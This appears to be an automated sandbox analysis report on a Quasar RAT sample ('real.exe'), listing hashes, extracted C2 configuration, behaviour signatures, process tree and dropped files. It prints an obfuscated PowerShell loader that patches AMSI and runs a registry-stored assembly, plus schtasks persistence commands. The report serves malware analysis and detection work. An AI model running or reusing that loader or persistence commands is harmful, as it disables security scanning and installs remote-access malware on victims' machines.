Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-04-2024 20:29

Errors

Reason
Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-23T20:32:07Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win10v2004-20240226-en/instance_7-dirty.qcow2\"}"

General

  • Target

    real.exe

  • Size

    409KB

  • MD5

    16be7896ffd96f3c15ca40ff3243674f

  • SHA1

    321e82e120535d5f48430284804d5aca5f78d8c7

  • SHA256

    e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07

  • SHA512

    6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad

  • SSDEEP

    12288:8Bwz9Fx/nIlyLcnRKIZduz8IWQygCLZG9:8+J0sLYpuz8bQygB

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RSlaves

C2

147.185.221.19:33587

Mutex

$Sxr-hphEGEvqSUG7C0u46T

Attributes
  • encryption_key

    6jSzwDnfbfYdZp3ml07G

  • install_name

    WDefenderUpdater.exe

  • log_directory

    UpdLog

  • reconnect_delay

    3000

  • startup_key

    WindowsBIOSupd

  • subdirectory

    Microsoft

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 52 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1020
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{4dfd0b84-b9cc-4a07-90a1-3900675b54d6}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2944
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:672
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:940
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:512
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:856
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1060
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1068
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1184
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EHPlHoExkbpM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$abgQYdBhaIHkiH,[Parameter(Position=1)][Type]$ZbNTSnPlay)$HfOubaUvoTY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+'dD'+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+'e'+'m'+''+'o'+''+[Char](114)+'y'+'M'+''+[Char](111)+'du'+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+','+''+'P'+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+'e'+'a'+[Char](108)+'e'+[Char](100)+''+','+'An'+'s'+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$HfOubaUvoTY.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+'id'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$abgQYdBhaIHkiH).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'a'+[Char](103)+'e'+'d'+'');$HfOubaUvoTY.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+'i'+''+'g'+',N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$ZbNTSnPlay,$abgQYdBhaIHkiH).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $HfOubaUvoTY.CreateType();}$hKTblyIbbkrGH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+'d'+'l'+''+'l'+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+'32.'+[Char](85)+''+'n'+''+'s'+'a'+[Char](102)+'e'+'N'+''+'a'+''+'t'+''+[Char](105)+'v'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$nIJnJpYHmZgNyT=$hKTblyIbbkrGH.GetMethod(''+'G'+''+'e'+''+'t'+'P'+[Char](114)+''+'o'+'c'+[Char](65)+'d'+'d'+''+'r'+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QjvmqNPqzWfHyjaBHBC=EHPlHoExkbpM @([String])([IntPtr]);$YymLpvMmHfjdOogVFXHmau=EHPlHoExkbpM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nDGIYExpcws=$hKTblyIbbkrGH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+''+[Char](101)+'Ha'+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$GAYfemNzojWOWb=$nIJnJpYHmZgNyT.Invoke($Null,@([Object]$nDGIYExpcws,[Object](''+'L'+'o'+'a'+'dLib'+[Char](114)+''+'a'+''+[Char](114)+'yA')));$sFHXAloiXgapowrbG=$nIJnJpYHmZgNyT.Invoke($Null,@([Object]$nDGIYExpcws,[Object](''+'V'+''+'i'+''+'r'+'tua'+[Char](108)+'Pr'+'o'+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$GcBDcET=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GAYfemNzojWOWb,$QjvmqNPqzWfHyjaBHBC).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$FrSQierqEPrAdmiXA=$nIJnJpYHmZgNyT.Invoke($Null,@([Object]$GcBDcET,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+'ff'+[Char](101)+''+[Char](114)+'')));$lmIDGcCYaC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sFHXAloiXgapowrbG,$YymLpvMmHfjdOogVFXHmau).Invoke($FrSQierqEPrAdmiXA,[uint32]8,4,[ref]$lmIDGcCYaC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FrSQierqEPrAdmiXA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sFHXAloiXgapowrbG,$YymLpvMmHfjdOogVFXHmau).Invoke($FrSQierqEPrAdmiXA,[uint32]8,0x20,[ref]$lmIDGcCYaC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOF'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'7'+[Char](55)+'s'+'t'+'a'+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1492
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Drops file in System32 directory
                    PID:1232
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1288
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1312
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1344
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1412
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:2452
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:4992
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:3184
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:4644
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2300
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:4824
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                      1⤵
                                        PID:1428
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                        1⤵
                                          PID:1548
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                          1⤵
                                            PID:1568
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:1676
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                              1⤵
                                                PID:1684
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                1⤵
                                                  PID:1736
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                  1⤵
                                                    PID:1784
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1832
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                      1⤵
                                                        PID:1884
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:1896
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:2000
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                            1⤵
                                                              PID:2040
                                                            • C:\Windows\System32\spoolsv.exe
                                                              C:\Windows\System32\spoolsv.exe
                                                              1⤵
                                                                PID:1632
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                1⤵
                                                                  PID:2188
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2216
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                    1⤵
                                                                      PID:2500
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                      1⤵
                                                                        PID:2660
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                        1⤵
                                                                          PID:2672
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                          1⤵
                                                                            PID:2732
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2804
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                                PID:2812
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:2820
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                  1⤵
                                                                                    PID:2836
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                    1⤵
                                                                                      PID:2852
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                      1⤵
                                                                                        PID:2860
                                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3316
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:628
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5072
                                                                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:1944
                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4756
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                              1⤵
                                                                                                PID:1596
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                1⤵
                                                                                                  PID:1048
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                  1⤵
                                                                                                    PID:1044
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                                                                                    1⤵
                                                                                                      PID:2948
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
                                                                                                      1⤵
                                                                                                        PID:684
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                        1⤵
                                                                                                          PID:3024
                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                          1⤵
                                                                                                            PID:3032
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\real.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\real.exe"
                                                                                                            1⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:2252
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              "schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\real.exe" /rl HIGHEST /f
                                                                                                              2⤵
                                                                                                              • Creates scheduled task(s)
                                                                                                              PID:620
                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:3256
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                "schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe" /rl HIGHEST /f
                                                                                                                3⤵
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:2304
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:1396
                                                                                                            • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                              "SCHTASKS.exe" /create /tn "$77real.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\real.exe'" /sc onlogon /rl HIGHEST
                                                                                                              2⤵
                                                                                                              • Creates scheduled task(s)
                                                                                                              PID:1156
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                              PID:2484
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                              1⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:5068
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                                PID:4312
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                  PID:4424
                                                                                                                • C:\Windows\System32\mousocoreworker.exe
                                                                                                                  C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:3312
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                    1⤵
                                                                                                                      PID:1224
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                                      1⤵
                                                                                                                        PID:1244
                                                                                                                      • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                        C:\Windows\System32\WaaSMedicAgent.exe 5472ead3cd58b550bf494b747e125c15 CGD3gLuGlUOGCdzmJ0jChg.0.1.0.0.0
                                                                                                                        1⤵
                                                                                                                          PID:2564
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            2⤵
                                                                                                                              PID:2588

                                                                                                                          Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Replay Monitor

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                                                                                                                          Downloads

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                            Filesize

                                                                                                                            162KB

                                                                                                                            MD5

                                                                                                                            152e3f07bbaf88fb8b097ba05a60df6e

                                                                                                                            SHA1

                                                                                                                            c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                                                                                            SHA256

                                                                                                                            a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                                                                                            SHA512

                                                                                                                            2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe

                                                                                                                            Filesize

                                                                                                                            409KB

                                                                                                                            MD5

                                                                                                                            16be7896ffd96f3c15ca40ff3243674f

                                                                                                                            SHA1

                                                                                                                            321e82e120535d5f48430284804d5aca5f78d8c7

                                                                                                                            SHA256

                                                                                                                            e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07

                                                                                                                            SHA512

                                                                                                                            6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad

                                                                                                                          • C:\Windows\Temp\__PSScriptPolicyTest_am1roqi5.4f0.ps1

                                                                                                                            Filesize

                                                                                                                            60B

                                                                                                                            MD5

                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                            SHA1

                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                            SHA256

                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                            SHA512

                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                          • memory/512-99-0x0000018A2D740000-0x0000018A2D76B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/612-66-0x00007FFD5F2EF000-0x00007FFD5F2F0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            4KB

                                                                                                                          • memory/612-56-0x00000264983F0000-0x000002649841B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/612-55-0x00000264983F0000-0x000002649841B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/612-54-0x00000264983C0000-0x00000264983E5000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            148KB

                                                                                                                          • memory/612-64-0x00000264983F0000-0x000002649841B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/612-65-0x00007FFD5F2ED000-0x00007FFD5F2EE000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            4KB

                                                                                                                          • memory/672-84-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/672-69-0x0000026473190000-0x00000264731BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/672-81-0x0000026473190000-0x00000264731BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/672-90-0x00007FFD5F2ED000-0x00007FFD5F2EE000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            4KB

                                                                                                                          • memory/856-106-0x00000215AC1C0000-0x00000215AC1EB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/940-128-0x00007FFD5F2EC000-0x00007FFD5F2ED000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            4KB

                                                                                                                          • memory/940-80-0x000001C8E67D0000-0x000001C8E67FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/1020-132-0x00007FFD5F2EF000-0x00007FFD5F2F0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            4KB

                                                                                                                          • memory/1020-89-0x000001820F2E0000-0x000001820F30B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            172KB

                                                                                                                          • memory/1492-22-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-34-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-38-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            2.0MB

                                                                                                                          • memory/1492-39-0x00007FFD5D570000-0x00007FFD5D62E000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            760KB

                                                                                                                          • memory/1492-124-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-103-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-98-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-37-0x0000024F74EF0000-0x0000024F74F1A000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            168KB

                                                                                                                          • memory/1492-91-0x00007FFD3F5D0000-0x00007FFD40091000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/1492-21-0x00007FFD3F5D0000-0x00007FFD40091000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/1492-23-0x0000024F72230000-0x0000024F72240000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1492-33-0x0000024F74B60000-0x0000024F74B82000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            136KB

                                                                                                                          • memory/2252-6-0x00000000052D0000-0x00000000052E2000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            72KB

                                                                                                                          • memory/2252-7-0x0000000006150000-0x000000000618C000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            240KB

                                                                                                                          • memory/2252-1-0x0000000000270000-0x00000000002DC000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            432KB

                                                                                                                          • memory/2252-2-0x0000000005300000-0x00000000058A4000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.6MB

                                                                                                                          • memory/2252-0-0x0000000074B50000-0x0000000075300000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            7.7MB

                                                                                                                          • memory/2252-3-0x0000000004DF0000-0x0000000004E82000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            584KB

                                                                                                                          • memory/2252-20-0x0000000074B50000-0x0000000075300000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            7.7MB

